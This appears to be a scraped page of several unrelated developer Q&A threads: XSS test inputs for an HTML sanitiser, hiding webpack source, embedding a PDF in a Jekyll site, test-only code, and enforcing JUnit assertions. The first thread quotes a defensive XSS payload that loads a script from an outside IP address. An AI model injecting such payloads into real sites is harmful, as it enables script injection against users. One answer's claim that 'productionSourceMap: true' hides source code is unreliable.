I'm looking to write a html sanitiser, and obviously to test/prove that it works properly, I need a set of XSS examples to pitch against it to see how it performs. Here's a nice example from Coding Horror
<img src=""http://www.a.com/a.jpg<script type=text/javascript
src="http://1.2.3.4:81/xss.js">" /><<img
src=""http://www.a.com/a.jpg</script>"
I know there's a Mime Torture Test which comprises of several nested emails with attachments that's used to test Mime decoders (if they can decode it properly, then they've been proven to work). I'm basically looking for an equivilent for XSS, i.e. a list of examples of dodgy html that I can throw at my sanitiser just to make sure it works OK.
If anyone also has any good resources on how to write the sanitiser (i.e. what common exploits people try to use, etc) they'd be gratefully received too.
Thanks in advance :-)
Edit: Sorry if this wasn't clear before, but I was after a set of torture tests so I can write unit tests for the sanitiser, not test it in the browser, etc. The source data in theory may have come from anywhere - not just a browser.
Take a look at this XSS Cheat List : https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
XSS Me is a great Firefox plugin you can run against your sanitizer.
Check out OWASP. They have good guidance on how XSS works, what to look for, and even the WebGoat project, where you can try your hand on a vulnerable site.
You might try Jesse Ruderman's jsfunfuzz (http://www.squarefree.com/2007/08/02/introducing-jsfunfuzz/) that throws random data at your Javascript trying to break it. It seems the Firefox team has used this with great success.
Related
I wonder if it is possible to disable webpack folder in inspect, so users cant see my source code?
And if it's not possible, can users change it and run it?
Most commonly such a structured view is available only in development environment.
When the code is shipped to production environment it's normally minimized & bundled into one or several files which already makes it quite hard to read.
If you want to "hide" it from the user even further, you can use code obfuscation tools (you will likely need to pay for them) or move sensitive parts of your code to serverland.
Generally speaking, the only bulletproof way to hide the code from your users is never ship it to their browsers.
Whether the code is obfuscated or not, the user is alway able to change it & run. Obfuscation just makes it significantly more difficult.
There is a solution, you can try this in the "vue.config.js"
module.exports = {
productionSourceMap: true,
}
This option will tell Webpack to exclude the source code. Could be a solution for you.
Cheers
having the same issue here.
The Original Source files are NOT even close to the Server its running on and i tried multiple, independent Pcs now and everytime it showns me the full original source code in the Source list in chrome.
I dont really mind "showing" the source code but what annoys me is that this way people can literally steal the source and built the exact software on their own and it exposed stuff about my pc like directory of stuff, my full name (due to windows username), etc.
Note: Before asking i searched some on embedding but couldn't get exactly what i wanted.
I have a resume file in the pdf format that i would like to display in my website without storing anywhere like google or other but on my own. I have static website [which i made using Jekyll] lets say https://www.example.com and what i actually need is to display my resume accessible in the following link https://www.example.com/resume
Some of them have long permalinks and i actually hate them. (Just saying)
Upload the PDF into the website's / or assets/ directory.
To make a link for HTML:
CV
To make a link for Markdown:
[CV](<PATH>/cv.pdf)
On Chrome, this has been around for a long time and plagues webdevs to this day. There seem to be no plans to change that anytime soon because that's just the way it was built. Chrome behaves slightly different when not online, so offline/local-testing will not always produce expected result.
My answer to you, for this question, is a suggestion. In order to make it cross-browser compatible, your mode of implementation should be:
Modal or,
Lightbox
Whether or not you are using a SSG should not matter here. Look for a bootstrap or material implementation.
On the client-side, it is possible with extension. I reckon this isn't helpful to you; but I'm including this information for future readers.
My situation, as some background:
I'm writing a small javascript library which uses window.requestAnimationFrame to perform its animation loop. Because that function isn't standardised across the browsers yet, internally in the library it creates a polyfill-ish function in a closure.
var requestAnim = window.requestAnimationFrame
|| window.webkitRequestAnimationFrame
|| ...
|| function () { ... };
The issue here is that this makes it quite hard for me to test this code now. Previously, when it was using setTimeout, I would override that global function in the tests to simulate a number of frames passing synchronously.
Anyway, to the point of the question:
Right now, it seems like my options are either to leave some of my code untested, or to add extraneous features to the library with the sole purpose of making it easier to test. Neither of these options sound that great to me.
Without worrying too much about my specific case, in general, what should you do in this situation?
Yes, it is ok.
We don't write tests for the sake of testing. Testing is an acknowledgement of the fact that we aren't brillant enough to write and maintain code perfectly without safety checks. All test code serves one purpose and only one: to make a better product. This is true whether it lives in the /test folder or in the /src folder. Therefore it is a mistake to think "This is never called in production, therefore it is wrong to put it into /src!"
To be sure, there are other trade-offs to make, e.g. size (in an embedded product it makes a lot of sense to try everything you can to keep the /src folder small). But that is a completely different reason than merely "It's test-related".
I'd say it's fine to add testing code (unless some micro-optimisation is something you're testing). As Kilian was saying, nobody is perfect; this is the reason we do testing in the first place.
I +1d Kilian's answer, but I'd like to add my own ideas too:
In general, what situations would there be code that you cannot (with ease) test? This would be code that only runs under conditions, which you can't re-create on your testing machine? Perhaps it would be easier to set a variable to decide whether this code should run or not, then you can set a breakpoint and change this variable when debugging (in your JavaScript case, using Firebug or Chrome's developer tools?)
Or, like you say, add some testing code - a set of flags maybe at the top of the script, to keep it neat? Then your if statements could be something like
if(shouldRunThisCode || isTestingThisCode) {
doThisCode();
}
In short: Ofcourse it's fine to add code for the purpose of testing. I can't think of any scenarios where testing the code will require adding much code at all though. If the code is implemented and intended to run at some point under certain conditions anyway, it can never be too hard to test.
In general, code that is hard to test is badly written.1 It is superior to find the design problems your test difficulties are telling you about and fix those than to add code "just to make testing easier". Sometimes we do that anyway, because we construe the design problems as too difficult to fix -- but it should be the second choice. In your case, it sounds like the bad design you're exposing is in a library outside your control. In this case, adding code "just to make testing easier" is probably the best choice; you are unlikely to have enough control over an external library to improve its design.
My team is working on educating some of our developers about testing. They understand why to write tests and are on board that they should write tests, but are falling a little short on writing good tests.
I just saw a commit like this
public void SomeTest{
#Test
public void testSomething{
System.out.println(new mySomething.getData());
}
So they were at least making sure their code gave them the expected output by looking.
It will be a bit before we can really sell the idea of code reviews. In the mean time I was considering having JUnit fail any tests that do not have actual assertXXX or fail statements in them. I would then like to have that failure message say something like "Your tests should use assertions and actually examine the output!".
I fully expect this to lead to calls like assertTrue(1 == 1);. We're working on the team buy in for proper testing and code reviews, are there any technical mechanisms we can use to make life easier for the developers that already get it?? What about technical mechanisms to help the new guys understand?
I think you should consider organizational changes: mentoring, training, code reviews.
The tools can only help you if you're using them in good faith with a base understanding of the goals. If one of these is missing they won't help you.
Humans are just to intelligent to do dump things or work around metrics. I think your assessment is not correct that "they" are on board if they can't write a single useful test. Automatic tools are simply not the correct tools at this stage. You can't learn by being told by a program what to do next.
You can use some static code analyzer.
I use PMD which includes a JUnit rule set. There are a lot of IDE plugins which will mark rule violations in the IDE. You can configure the rule sets to your needs.
You will also profit from the other rule sets - which will warn you on code style / best practice violations (although you have to decide sometimes if the tool or you are the fool :-)).
to answer the stated question for future viewers.
JUnit uses reflection to run tested function if any Exception, Error throws -> test fails, otherwise succeed. Assert class is just a utils class.
I've been playing with Symfony's testing methods. They give you the results in the command line (for instance, green text is for OK and red text is for NOT OK). It also tells you the cause of the error.
Is there something similar to this in CodeIgniter and CakePHP?
The best tool out there that I've seen for codeigniter is a library for SimpleTest see http://codeigniter.com/wiki/SimpleTester_-_Unit_testing_library/
With cakephp, you can use e.g. simpletest as a plugin (installation a download/renaming). In fact all the cake-core tests work with it. In cake, once you have written the tests, you can run them in a one-click manner via your browser (yes, you get your green bars, too :-) ).
If I remember correctly, you can run the tests from the shell, too. If not you can create your own cake-shell as it is easy to extend.